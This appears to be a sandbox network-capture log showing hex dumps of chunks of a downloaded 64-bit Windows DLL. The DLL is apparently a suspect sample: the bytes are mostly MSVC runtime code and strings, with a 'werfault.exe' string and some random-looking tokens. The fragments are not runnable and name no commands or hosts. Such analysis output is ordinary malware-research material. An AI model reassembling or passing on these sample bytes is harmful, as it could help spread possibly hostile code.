2022-05-23 06:34:53 UTC	99	IN	Data Raw: 3b e8 55 19 ff ff c7 00 22 00 00 00 48 c7 44 24 20 00 00 00 00 41 b9 8e 00 00 00 4c 8d 05 a9 e9 00 00 48 8d 15 ca ec 00 00 48 8d 0d a3 e8 00 00 e8 66 2b ff ff b8 22 00 00 00 eb 6c 33 c0 48 8b 4c 24 30 66 89 01 48 8b 44 24 30 48 83 e8 02 48 89 44 24 30 48 8b 44 24 30 0f b7 00 66 89 44 24 44 48 8b 44 24 30 48 8b 4c 24 48 0f b7 09 66 89 08 48 8b 44 24 48 0f b7 4c 24 44 66 89 08 48 8b 44 24 30 48 83 e8 02 48 89 44 24 30 48 8b 44 24 48 48 83 c0 02 48 89 44 24 48 48 8b 44 24 30 48 39 44 24 48 72 ae 33 c0 48 81 c4 98 00 00 00 c3 cc cc cc cc cc cc cc cc cc cc cc 44 89 44 24 18 48 89 54 24 10 89 4c 24 08 48 83 ec 58 48 c7 44 24 30 ff ff ff ff 48 63 44 24 60 48 83 f8 fe 75 22 e8 a5 18 ff ff c7 00 00 00 00 00 e8 6a 18 ff ff c7 00 09 00 00 00 48 c7 c0 ff ff ff ff e9 Data Ascii: ;U"HD$ ALHHf+"l3HL$0fHD$0HHD$0HD$0fD$DHD$0HL$HfHD$HL$DfHD$0HHD$0HD$HHHD$HHD$0H9D$Hr3HDD$HT$L$HXHD$0HcD$`Hu"jH
2022-05-23 06:34:53 UTC	103	IN	Data Raw: 24 a0 3d 00 00 0f 83 96 01 00 00 48 8d 84 24 a0 00 00 00 48 89 84 24 a8 14 00 00 48 8d 84 24 a0 00 00 00 48 8b 8c 24 a8 14 00 00 48 2b c8 48 8b c1 48 3d ff 13 00 00 0f 83 a7 00 00 00 48 8b 84 24 98 3d 00 00 48 8b 8c 24 a0 14 00 00 48 2b c8 48 8b c1 3b 84 24 a0 3d 00 00 0f 83 84 00 00 00 48 8b 84 24 a0 14 00 00 0f b6 00 88 84 24 b0 14 00 00 48 8b 84 24 a0 14 00 00 48 ff c0 48 89 84 24 a0 14 00 00 0f be 84 24 b0 14 00 00 83 f8 0a 75 28 8b 44 24 50 ff c0 89 44 24 50 48 8b 84 24 a8 14 00 00 c6 00 0d 48 8b 84 24 a8 14 00 00 48 ff c0 48 89 84 24 a8 14 00 00 48 8b 84 24 a8 14 00 00 0f b6 8c 24 b0 14 00 00 88 08 48 8b 84 24 a8 14 00 00 48 ff c0 48 89 84 24 a8 14 00 00 e9 37 ff ff ff 48 8d 84 24 a0 00 00 00 48 8b 8c 24 a8 14 00 00 48 2b c8 48 8b c1 8b 8c 24 90 3d Data Ascii: $=H$H$H$H$H+HH=H$=H$H+H;$=H$$H$HH$$u(D$PD$PH$H$HH$H$$H$HH$7H$H$H+H$=
2022-05-23 06:34:53 UTC	107	IN	Data Raw: ff ff c7 44 24 78 22 00 00 00 48 8d 4c 24 40 e8 0d b5 fe ff 8b 44 24 78 e9 25 02 00 00 48 8b 84 24 b8 00 00 00 0f b6 8c 24 c8 00 00 00 88 08 48 83 bc 24 b0 00 00 00 00 74 0e 48 8b 84 24 b0 00 00 00 c7 00 01 00 00 00 c7 44 24 7c 00 00 00 00 48 8d 4c 24 40 e8 c7 b4 fe ff 8b 44 24 7c e9 df 01 00 00 e9 d0 01 00 00 c7 44 24 68 00 00 00 00 48 8d 4c 24 40 e8 e7 0d 0a Data Ascii: D$x"HL$@D$x%H$$H$tH$D$\|HL$@D$\|D$hHL$@
2022-05-23 06:34:53 UTC	107	IN	Data Raw: 34 37 33 39 0d 0a b4 fe ff 48 8b 00 48 8d 4c 24 68 48 89 4c 24 38 48 c7 44 24 30 00 00 00 00 8b 8c 24 c0 00 00 00 89 4c 24 28 48 8b 8c 24 b8 00 00 00 48 89 4c 24 20 41 b9 01 00 00 00 4c 8d 84 24 c8 00 00 00 33 d2 8b 48 04 ff 15 a8 6d 00 00 89 44 24 6c 83 7c 24 6c 00 74 0b 83 7c 24 68 00 0f 84 2a 01 00 00 83 7c 24 6c 00 0f 85 f3 00 00 00 ff 15 09 6d 00 00 83 f8 7a 0f 85 e4 00 00 00 48 83 bc 24 b8 00 00 00 00 74 22 48 83 bc 24 c0 00 00 00 00 76 17 4c 8b 84 24 c0 00 00 00 33 d2 48 8b 8c 24 b8 00 00 00 e8 b3 7e fe ff 33 c0 85 c0 74 0d c7 84 24 94 00 00 00 01 00 00 00 eb 0b c7 84 24 94 00 00 00 00 00 00 00 8b 84 24 94 00 00 00 89 44 24 70 83 7c 24 70 00 75 2e 48 8d 05 6c c0 00 00 48 89 44 24 20 45 33 c9 41 b8 7b 00 00 00 48 8d 15 87 cf 00 00 b9 02 00 00 00 e8 Data Ascii: 4739HHL$hHL$8HD$0$L$(H$HL$ AL$3HmD$l\|$lt\|$h*\|$lmzH$t"H$vL$3H$~3t$$$D$p\|$pu.HlHD$ E3A{H
2022-05-23 06:34:53 UTC	111	IN	Data Raw: 03 00 00 ff ff ff ff 48 8d 4c 24 78 e8 1a a4 fe ff 8b 84 24 84 03 00 00 e9 8e 09 00 00 e9 3a 06 00 00 8b 44 24 50 83 e0 20 85 c0 74 15 48 8b 84 24 18 03 00 00 0f b7 8c 24 b0 02 00 00 66 89 08 eb 11 48 8b 84 24 18 03 00 00 8b 8c 24 b0 02 00 00 89 08 c7 44 24 6c 01 00 00 00 e9 fc 05 00 00 c7 44 24 70 01 00 00 00 0f be 84 24 b8 02 00 00 83 c0 20 88 84 24 b8 02 00 00 8b 44 24 50 83 c8 40 89 44 24 50 48 8d 84 24 b0 00 00 00 48 89 44 24 40 c7 84 24 98 00 00 00 00 02 00 00 83 7c 24 74 00 7d 0a c7 44 24 74 06 00 00 00 eb 30 83 7c 24 74 00 75 17 0f be 84 24 b8 02 00 00 83 f8 67 75 0a c7 44 24 74 01 00 00 00 eb 12 81 7c 24 74 00 02 00 00 7e 08 c7 44 24 74 00 02 00 00 81 7c 24 74 a3 00 00 00 7e 56 8b 44 24 74 05 5d 01 00 00 48 98 41 b9 da 06 00 00 4c 8d 05 8b ac 00 Data Ascii: HL$x$:D$P tH$$fH$$D$lD$p$ $D$P@D$PH$HD$@$\|$t}D$t0\|$tu$guD$t\|$t~D$t\|$t~VD$t]HAL
2022-05-23 06:34:53 UTC	115	IN	Data Raw: 48 83 ec 38 48 8b 44 24 40 48 83 c0 11 48 8b 4c 24 48 48 83 c1 11 48 8b d0 e8 e8 fb ff ff 85 c0 74 0a c7 44 24 20 00 00 00 00 eb 08 c7 44 24 20 01 00 00 00 0f b6 44 24 20 48 83 c4 38 c3 cc cc cc cc cc cc cc cc 89 54 24 10 48 89 4c 24 08 48 83 ec 28 48 8b 4c 24 30 e8 39 01 00 00 8b 44 24 38 83 e0 01 85 c0 74 0a 48 8b 4c 24 30 e8 44 02 00 00 48 8b 44 24 30 48 83 c4 28 c3 cc cc cc cc cc cc cc cc cc cc 48 89 54 24 10 48 89 4c 24 08 48 83 ec 28 48 8b 44 24 30 48 8d 0d fe b0 00 00 48 89 08 48 8b 44 24 30 48 c7 40 08 00 00 00 00 48 8b 44 24 30 c6 40 10 00 48 8b 44 24 38 48 8b 10 48 8b 4c 24 30 e8 3b 01 00 00 48 8b 44 24 30 48 83 c4 28 c3 cc 48 89 54 24 10 48 89 4c 24 08 48 83 ec 28 48 8b 44 24 30 48 8d 0d ae b0 00 00 48 89 08 48 8b 44 24 30 48 c7 40 08 00 00 00 Data Ascii: H8HD$@HHL$HHHtD$ D$ D$ H8T$HL$H(HL$09D$8tHL$0DHD$0H(HT$HL$H(HD$0HHHD$0H@HD$0@HD$8HHL$0;HD$0H(HT$HL$H(HD$0HHHD$0H@
2022-05-23 06:34:53 UTC	119	IN	Data Raw: 48 8b 44 24 60 48 89 44 24 40 8b 44 24 74 05 5d 01 00 00 89 84 24 98 00 00 00 eb 08 c7 44 24 74 a3 00 00 00 33 c0 85 c0 74 2a 48 8b 84 24 18 06 00 00 48 83 c0 08 48 89 84 24 18 06 00 00 48 8b 84 24 18 06 00 00 48 8b 40 f8 48 89 84 24 98 05 00 00 eb 28 48 8b 84 24 18 06 00 00 48 83 c0 08 48 89 84 24 18 06 00 00 48 8b 84 24 18 06 00 00 48 83 e8 08 48 89 84 24 98 05 00 00 48 8b 84 24 98 05 00 00 48 89 84 24 58 05 00 00 48 8b 84 24 58 05 00 00 48 8b 00 48 89 84 24 08 05 00 00 48 8d 4c 24 78 e8 b8 82 fe ff 48 89 84 24 a0 05 00 00 0f be 8c 24 b8 04 00 00 89 8c 24 a8 05 00 00 48 63 94 24 98 00 00 00 48 89 94 24 b0 05 00 00 48 8b 0d 6a d8 00 00 ff 15 34 3b 00 00 48 8b 8c 24 a0 05 00 00 48 89 4c 24 30 8b 4c 24 70 89 4c 24 28 8b 4c 24 74 89 4c 24 20 8b 8c 24 a8 05 Data Ascii: HD$`HD$@D$t]$D$t3t*H$HH$H$H@H$(H$HH$H$HH$H$H$XH$XHH$HL$xH$$$Hc$H$Hj4;H$HL$0L$pL$(L$tL$ $
2022-05-23 06:34:53 UTC	123	IN	Data Raw: 24 c8 00 00 00 e8 42 ba ff ff 83 f8 ff 74 69 48 8b 8c 24 c8 00 00 00 e8 30 ba ff ff 83 f8 fe 74 57 48 8b 8c 24 c8 00 00 00 e8 1e ba ff ff c1 f8 05 48 98 48 89 44 24 78 48 8d 0d bd ef 00 00 48 89 8c 24 80 00 00 00 48 8b 8c 24 c8 00 00 00 e8 f8 b9 ff ff 83 e0 1f 48 98 48 6b c0 58 48 8b 94 24 80 00 00 00 48 8b 4c 24 78 48 03 04 ca 48 89 84 24 88 00 00 00 eb 0f 48 8d 05 6d ba 00 00 48 89 84 24 88 00 00 00 48 8b 84 24 88 00 00 00 0f be 40 08 25 80 00 00 00 85 c0 0f 84 15 01 00 00 44 0f b7 8c 24 c0 00 00 00 41 b8 05 00 00 00 48 8d 54 24 30 48 8d 4c 24 24 e8 0e bf ff ff 85 c0 74 0a b8 ff ff 00 00 e9 85 01 00 00 c7 44 24 20 00 00 00 00 eb 0a 8b 44 24 20 ff c0 89 44 24 20 8b 44 24 24 39 44 24 20 0f 8d b5 00 00 00 48 8b 84 24 c8 00 00 00 8b 40 08 ff c8 89 84 24 90 Data Ascii: $BtiH$0tWH$HHD$xHH$H$HHkXH$HL$xHH$HmH$H$@%D$AHT$0HL$$tD$ D$ D$ D$$9D$ H$@$
2022-05-23 06:34:53 UTC	125	IN	Data Raw: 64 31 38 0d 0a 01 00 00 4c 8d 05 a7 8d 00 00 48 8d 15 78 8d 00 00 48 8d 0d d1 84 00 00 e8 c4 c2 fe ff 48 c7 c0 ff ff ff ff eb 26 8b 44 24 50 c1 f8 05 48 98 48 8d 0d 9b ea 00 00 8b 54 24 50 83 e2 1f 48 63 d2 48 6b d2 58 48 8b 04 c1 48 8b 04 02 48 83 c4 48 c3 89 4c 24 08 48 83 ec 38 8b 44 24 40 c1 f8 05 48 98 48 8d 0d 68 ea 00 00 8b 54 24 40 83 e2 1f 48 63 d2 48 6b d2 58 48 03 14 c1 48 8b c2 48 89 44 24 28 c7 44 24 20 01 00 00 00 48 8b 44 24 28 83 78 0c 00 75 55 b9 0a 00 00 00 e8 d1 97 fe ff 90 48 8b 44 24 28 83 78 0c 00 75 35 48 8b 44 24 28 48 83 c0 10 ba a0 0f 00 00 48 8b c8 ff 15 c6 25 00 00 85 c0 75 08 c7 44 24 20 00 00 00 00 48 8b 44 24 28 8b 40 0c ff c0 48 8b 4c 24 28 89 41 0c b9 0a 00 00 00 e8 e6 97 fe ff 83 7c 24 20 00 74 30 8b 44 24 40 c1 f8 05 48 Data Ascii: d18LHxHH&D$PHHT$PHcHkXHHHHL$H8D$@HHhT$@HcHkXHHHD$(D$ HD$(xuUHD$(xu5HD$(HH%uD$ HD$(@HL$(A\|$ t0D$@H
2022-05-23 06:34:53 UTC	128	IN	Data Raw: 66 39 37 0d 0a 00 00 00 00 48 8b 44 24 30 c7 40 18 00 00 00 00 8b 44 24 38 48 83 c4 58 c3 89 4c 24 08 48 83 ec 58 48 63 44 24 60 48 83 f8 fe 75 15 e8 58 a3 fe ff c7 00 09 00 00 00 b8 ff ff ff ff e9 33 02 00 00 83 7c 24 60 00 7c 16 8b 05 4f dd 00 00 39 44 24 60 73 0a c7 44 24 3c 01 00 00 00 eb 08 c7 44 24 3c 00 00 00 00 8b 44 24 3c 89 44 24 34 83 7c 24 34 00 75 2e 48 8d 05 ad 82 00 00 48 89 44 24 20 45 33 c9 41 b8 2c 00 00 00 48 8d 15 28 82 00 00 b9 02 00 00 00 e8 6e ab fe ff 83 f8 01 75 03 cc 33 c0 83 7c 24 34 00 75 3e e8 da a2 fe ff c7 00 09 00 00 00 48 c7 44 24 20 00 00 00 00 41 b9 2c 00 00 00 4c 8d 05 ee 81 00 00 48 8d 15 cf 81 00 00 48 8d 0d 50 82 00 00 e8 eb b4 fe ff b8 ff ff ff ff e9 8c 01 00 00 8b 44 24 60 c1 f8 05 48 98 48 8d 0d c1 dc 00 00 8b 54 Data Ascii: f97HD$0@D$8HXL$HXHcD$`HuX3\|$`\|O9D$`sD$<D$<D$<D$4\|$4u.HHD$ E3A,H(nu3\|$4u>HD$ A,LHHPD$`HHT
2022-05-23 06:34:53 UTC	132	IN	Data Raw: 31 30 66 31 0d 0a 5f 65 37 35 3c 65 64 6b 67 65 21 7a 24 55 39 6b 2b 68 00 00 00 00 00 00 00 00 6e 45 67 4b 45 75 59 74 53 36 59 92 3b fb 62 5a 87 1a a5 fb bb 6b ff eb 9c bd 89 80 6b f3 e7 ed bb c2 64 3d e4 a5 4c a6 0a 4d 90 33 47 46 51 77 6a 39 50 44 63 75 00 00 77 00 65 00 72 00 66 00 61 00 75 00 6c 00 74 00 2e 00 65 00 78 00 65 00 00 00 00 00 00 00 00 00 48 38 32 57 58 38 32 76 69 59 52 00 00 00 00 00 00 00 00 00 00 00 00 00 66 3a 5c 64 64 5c 76 63 74 6f 6f 6c 73 5c 63 72 74 5f 62 6c 64 5c 73 65 6c 66 5f 36 34 5f 61 6d 64 36 34 5c 63 72 74 5c 73 72 63 5c 64 6c 6c 63 72 74 30 2e 63 00 00 00 f0 c3 02 80 01 00 00 00 90 c4 02 80 01 00 00 00 66 3a 5c 64 64 5c 76 63 74 6f 6f 6c 73 5c 63 72 74 5f 62 6c 64 5c 73 65 6c 66 5f 36 34 5f 61 6d 64 36 34 5c 63 72 74 Data Ascii: 10f1_e75<edkge!z$U9k+hnEgKEuYtS6Y;bZkkd=LM3GFQwj9PDcuwerfault.exeH82WX82viYRf:\dd\vctools\crt_bld\self_64_amd64\crt\src\dllcrt0.cf:\dd\vctools\crt_bld\self_64_amd64\crt
2022-05-23 06:34:53 UTC	136	IN	Data Raw: 00 6f 00 28 00 29 00 29 00 00 00 5f 00 70 00 72 00 69 00 6e 00 74 00 4d 00 65 00 6d 00 42 00 6c 00 6f 00 63 00 6b 00 44 00 61 00 74 00 61 00 00 00 00 00 25 2e 32 58 20 00 00 00 44 65 74 65 63 74 65 64 20 6d 65 6d 6f 72 79 20 6c 65 61 6b 73 21 0a 00 43 6f 72 45 78 69 74 50 72 6f 63 65 73 73 00 00 6d 00 73 00 63 00 6f 00 72 00 65 00 65 00 2e 0d 0a Data Ascii: o())_printMemBlockData%.2X Detected memory leaks!CorExitProcessmscoree.
2022-05-23 06:34:53 UTC	136	IN	Data Raw: 31 32 32 39 0d 0a 00 64 00 6c 00 6c 00 00 00 66 3a 5c 64 64 5c 76 63 74 6f 6f 6c 73 5c 63 72 74 5f 62 6c 64 5c 73 65 6c 66 5f 36 34 5f 61 6d 64 36 34 5c 63 72 74 5c 73 72 63 5c 69 6f 69 6e 69 74 2e 63 00 00 00 00 73 00 74 00 72 00 63 00 70 00 79 00 5f 00 73 00 28 00 2a 00 65 00 6e 00 76 00 2c 00 20 00 63 00 63 00 68 00 61 00 72 00 73 00 2c 00 20 00 70 00 29 00 00 00 00 00 00 00 5f 00 73 00 65 00 74 00 65 00 6e 00 76 00 70 00 00 00 00 00 00 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 00 72 00 74 00 5f 00 62 00 6c 00 64 00 5c 00 73 00 65 00 6c 00 66 00 5f 00 36 00 34 00 5f 00 61 00 6d 00 64 00 36 00 34 00 5c 00 63 00 72 00 74 00 5c 00 73 00 72 00 63 00 5c 00 73 00 74 00 64 00 65 00 6e 00 76 00 70 00 2e 00 Data Ascii: 1229dllf:\dd\vctools\crt_bld\self_64_amd64\crt\src\ioinit.cstrcpy_s(*env, cchars, p)_setenvpf:\dd\vctools\crt_bld\self_64_amd64\crt\src\stdenvp.
2022-05-23 06:34:53 UTC	140	IN	Data Raw: 69 00 6c 00 75 00 72 00 65 00 2c 00 20 00 73 00 65 00 65 00 20 00 74 00 68 00 65 00 20 00 56 00 69 00 73 00 75 00 61 00 6c 00 20 00 43 00 2b 00 2b 00 20 00 64 00 6f 00 63 00 75 00 6d 00 65 00 6e 00 74 00 61 00 74 00 69 00 6f 00 6e 00 20 00 6f 00 6e 00 20 00 61 00 73 00 73 00 65 00 72 00 74 00 73 00 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 77 00 63 00 73 00 63 00 70 00 79 00 5f 00 73 00 28 00 73 00 7a 00 45 00 78 00 65 00 4e 00 61 00 6d 00 65 00 2c 00 20 00 32 00 36 00 30 00 2c 00 20 00 4c 00 22 00 3c 00 70 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 6e 00 61 00 6d 00 65 00 20 00 75 00 6e 00 6b 00 6e 00 6f 00 77 00 6e 00 3e 00 22 00 29 00 00 00 5f 00 5f 00 63 00 72 00 74 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 57 00 69 00 6e 00 64 00 6f 00 77 00 57 Data Ascii: ilure, see the Visual C++ documentation on asserts.wcscpy_s(szExeName, 260, L"<program name unknown>")__crtMessageWindowW
2022-05-23 06:34:53 UTC	141	IN	Data Raw: 33 35 66 30 0d 0a 65 00 78 00 70 00 61 00 6e 00 64 00 2e 00 63 00 00 00 00 00 00 00 00 00 70 00 42 00 6c 00 6f 00 63 00 6b 00 20 00 21 00 3d 00 20 00 4e 00 55 00 4c 00 4c 00 00 00 00 00 28 00 66 00 6f 00 72 00 6d 00 61 00 74 00 20 00 21 00 3d 00 20 00 4e 00 55 00 4c 00 4c 00 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 00 72 00 74 00 5f 00 62 00 6c 00 64 00 5c 00 73 00 65 00 6c 00 66 00 5f 00 36 00 34 00 5f 00 61 00 6d 00 64 00 36 00 34 00 5c 00 63 00 72 00 74 00 5c 00 73 00 72 00 63 00 5c 00 69 00 73 00 63 00 74 00 79 00 70 00 65 00 2e 00 63 00 00 00 00 00 00 00 28 00 75 00 6e 00 73 00 69 00 67 00 6e 00 65 00 64 00 29 00 28 00 63 00 20 00 2b 00 20 00 31 00 29 Data Ascii: 35f0expand.cpBlock != NULL(format != NULL)f:\dd\vctools\crt_bld\self_64_amd64\crt\src\isctype.c(unsigned)(c + 1)
2022-05-23 06:34:53 UTC	145	IN	Data Raw: 00 28 00 28 00 28 00 5f 00 53 00 72 00 63 00 29 00 29 00 29 00 20 00 21 00 3d 00 20 00 4e 00 55 00 4c 00 4c 00 00 00 00 00 73 00 74 00 72 00 63 00 70 00 79 00 5f 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 00 72 00 74 00 5f 00 62 00 6c 00 64 00 5c 00 73 00 65 00 6c 00 66 00 5f 00 36 00 34 00 5f 00 61 00 6d 00 64 00 36 00 34 00 5c 00 63 00 72 00 74 00 5c 00 73 00 72 00 63 00 5c 00 74 00 63 00 73 00 63 00 70 00 79 00 5f 00 73 00 2e 00 69 00 6e 00 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 00 28 00 5f 00 44 00 73 00 74 00 29 00 29 00 20 00 21 00 3d 00 20 00 4e 00 55 00 4c 00 4c 00 20 00 26 00 26 00 20 00 28 00 28 00 5f 00 53 00 69 00 7a 00 65 00 Data Ascii: (((_Src))) != NULLstrcpy_sf:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscpy_s.inl((_Dst)) != NULL && ((_Size
2022-05-23 06:34:53 UTC	149	IN	Data Raw: 34 00 30 00 39 00 36 00 2c 00 20 00 31 00 30 00 29 00 00 00 5f 00 56 00 43 00 72 00 74 00 44 00 62 00 67 00 52 00 65 00 70 00 6f 00 72 00 74 00 41 00 00 00 77 00 63 00 73 00 74 00 6f 00 6d 00 62 00 73 00 5f 00 73 00 28 00 26 00 72 00 65 00 74 00 2c 00 20 00 73 00 7a 00 61 00 4f 00 75 00 74 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 2c 00 20 00 34 00 30 00 39 00 36 00 2c 00 20 00 73 00 7a 00 4f 00 75 00 74 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 2c 00 20 00 28 00 28 00 73 00 69 00 7a 00 65 00 5f 00 74 00 29 00 2d 00 31 00 29 00 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 73 00 74 00 72 00 63 00 70 00 79 00 5f 00 73 00 28 00 73 00 7a 00 4f 00 75 00 74 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 32 00 2c 00 20 00 34 00 30 00 39 00 36 00 2c 00 20 Data Ascii: 4096, 10)_VCrtDbgReportAwcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1))strcpy_s(szOutMessage2, 4096,
2022-05-23 06:34:53 UTC	153	IN	Data Raw: 00 72 00 63 00 5c 00 74 00 63 00 73 00 63 00 61 00 74 00 5f 00 73 00 2e 00 69 00 6e 00 6c 00 00 00 00 00 00 00 00 00 77 00 63 00 73 00 6e 00 63 00 70 00 79 00 5f 00 73 00 00 00 00 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 00 72 00 74 00 5f 00 62 00 6c 00 64 00 5c 00 73 00 65 00 6c 00 66 00 5f 00 36 00 34 00 5f 00 61 00 6d 00 64 00 36 00 34 00 5c 00 63 00 72 00 74 00 5c 00 73 00 72 00 63 00 5c 00 74 00 63 00 73 00 6e 00 63 00 70 00 79 00 5f 00 73 00 2e 00 69 00 6e 00 6c 00 00 00 00 00 00 00 b0 5a 01 80 01 00 00 00 62 61 64 20 65 78 63 65 70 74 69 6f 6e 00 00 00 90 95 02 80 01 00 00 00 e0 48 01 80 01 00 00 00 20 d6 01 80 01 00 00 00 5f 00 6d 00 62 00 73 00 74 00 6f 00 77 00 63 00 73 00 5f 00 6c 00 5f 00 Data Ascii: rc\tcscat_s.inlwcsncpy_sf:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcsncpy_s.inlZbad exceptionH _mbstowcs_l_
2022-05-23 06:34:53 UTC	154	IN	Data Raw: 32 34 63 31 0d 0a 00 00 00 00 00 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 00 72 00 74 00 5f 00 62 00 6c 00 64 00 5c 00 73 00 65 00 6c 00 66 00 5f 00 36 00 34 00 5f 00 61 00 6d 00 64 00 36 00 34 00 5c 00 63 00 72 00 74 00 5c 00 73 00 72 00 63 00 5c 00 77 00 63 00 73 00 74 00 6f 00 6d 00 62 00 73 00 2e 00 63 00 00 00 00 00 70 00 77 00 63 00 73 00 20 00 21 00 3d 00 20 00 4e 00 55 00 4c 00 4c 00 00 00 00 00 00 00 00 00 73 00 69 00 7a 00 65 00 49 00 6e 00 42 00 79 00 74 00 65 00 73 00 20 00 3e 00 20 00 72 00 65 00 74 00 73 00 69 00 7a 00 65 00 00 00 00 00 00 00 5f 00 77 00 63 00 73 00 74 00 6f 00 6d 00 62 00 73 00 5f 00 73 00 5f 00 6c 00 00 00 00 00 00 00 28 00 64 00 73 00 74 00 20 00 21 00 3d 00 20 00 4e Data Ascii: 24c1f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.cpwcs != NULLsizeInBytes > retsize_wcstombs_s_l(dst != N
2022-05-23 06:34:53 UTC	158	IN	Data Raw: 00 60 65 68 20 76 65 63 74 6f 72 20 76 62 61 73 65 20 63 6f 70 79 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 00 00 00 60 65 68 20 76 65 63 74 6f 72 20 63 6f 70 79 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 00 60 6d 61 6e 61 67 65 64 20 76 65 63 74 6f 72 20 64 65 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 00 00 60 6d 61 6e 61 67 65 64 20 76 65 63 74 6f 72 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 00 60 70 6c 61 63 65 6d 65 6e 74 20 64 65 6c 65 74 65 5b 5d 20 63 6c 6f 73 75 72 65 27 00 00 00 00 60 70 6c 61 63 65 6d 65 6e 74 20 64 65 6c 65 74 65 20 63 6c 6f 73 75 72 65 27 00 00 00 00 00 00 60 6f 6d 6e 69 20 63 61 6c 6c 73 69 67 27 00 00 20 64 65 6c 65 74 Data Ascii: `eh vector vbase copy constructor iterator'`eh vector copy constructor iterator'`managed vector destructor iterator'`managed vector constructor iterator'`placement delete[] closure'`placement delete closure'`omni callsig' delet
2022-05-23 06:34:53 UTC	162	IN	Data Raw: e0 5d 01 00 02 00 00 00 f6 fd 00 00 f9 fe 00 00 a0 10 02 00 00 00 00 00 e3 f7 00 00 f2 00 01 00 c0 10 02 00 00 00 00 00 d2 50 00 00 19 33 03 00 21 01 20 10 14 70 00 00 e0 5d 01 00 02 00 00 00 f8 07 01 00 fb 08 01 00 f0 10 02 00 00 00 00 00 07 02 01 00 83 0c 01 00 10 11 02 00 00 00 00 00 f2 80 00 00 19 28 02 00 16 01 17 00 30 31 00 00 a0 00 00 00 01 18 01 00 18 a2 00 00 01 04 01 00 04 12 00 00 01 16 02 00 16 01 11 00 01 0d 01 00 0d a2 00 00 01 1c 03 00 1c 01 12 00 15 70 00 00 01 18 01 00 18 62 00 00 11 04 01 00 04 42 00 00 70 38 00 00 01 00 00 00 2f 2c 01 00 49 2c 01 00 40 11 02 00 00 00 00 00 01 1b 02 00 1b 01 11 00 01 13 01 00 13 42 00 00 01 13 01 00 13 62 00 00 01 18 01 00 18 e2 00 00 01 1b 02 00 1b 01 21 00 19 18 01 00 18 e2 00 00 70 38 00 00 02 00 00 Data Ascii: ]P3! p](01pbBp8/,I,@Bb!p8
2022-05-23 06:34:53 UTC	163	IN	Data Raw: 31 30 30 38 0d 0a 13 02 00 00 00 00 00 01 0d 01 00 0d c2 00 00 11 09 01 00 09 82 00 00 70 38 00 00 01 00 00 00 52 06 02 00 60 06 02 00 e0 13 02 00 00 00 00 00 01 09 01 00 09 a2 00 00 11 08 01 00 08 a2 00 00 70 38 00 00 01 00 00 00 5b 09 02 00 0e 0a 02 00 f0 12 02 00 00 00 00 00 11 08 01 00 08 a2 00 00 70 38 00 00 01 00 00 00 dc 0b 02 00 60 0c 02 00 f0 12 02 00 00 00 00 00 00 00 00 00 b0 48 01 00 00 00 00 00 a0 a1 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 b8 a1 02 00 e0 a1 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 bf 02 00 00 00 00 00 ff ff ff ff 00 00 00 00 18 00 00 00 20 49 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 bf 02 00 00 00 00 00 ff ff ff ff 00 00 00 00 18 00 00 00 30 d5 01 00 00 00 00 00 00 00 Data Ascii: 1008p8R`p8[p8`HP Ix0
2022-05-23 06:34:53 UTC	167	IN	Data Raw: 32 64 39 31 0d 0a 3a 02 80 01 00 00 00 58 3a 02 80 01 00 00 00 50 3a 02 80 01 00 00 00 48 3a 02 80 01 00 00 00 40 3a 02 80 01 00 00 00 30 3a 02 80 01 00 00 00 18 3a 02 80 01 00 00 00 08 3a 02 80 01 00 00 00 f8 39 02 80 01 00 00 00 78 3a 02 80 01 00 00 00 e8 39 02 80 01 00 00 00 d8 39 02 80 01 00 00 00 c8 39 02 80 01 00 00 00 b0 39 02 80 01 00 00 00 a0 39 02 80 01 00 00 00 88 39 02 80 01 00 00 00 70 39 02 80 01 00 00 00 64 39 02 80 01 00 00 00 5c 39 02 80 01 00 00 00 48 39 02 80 01 00 00 00 20 39 02 80 01 00 00 00 08 39 02 80 01 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2d91:X:P:H:@:0:::9x:999999p9d9\9H9 99
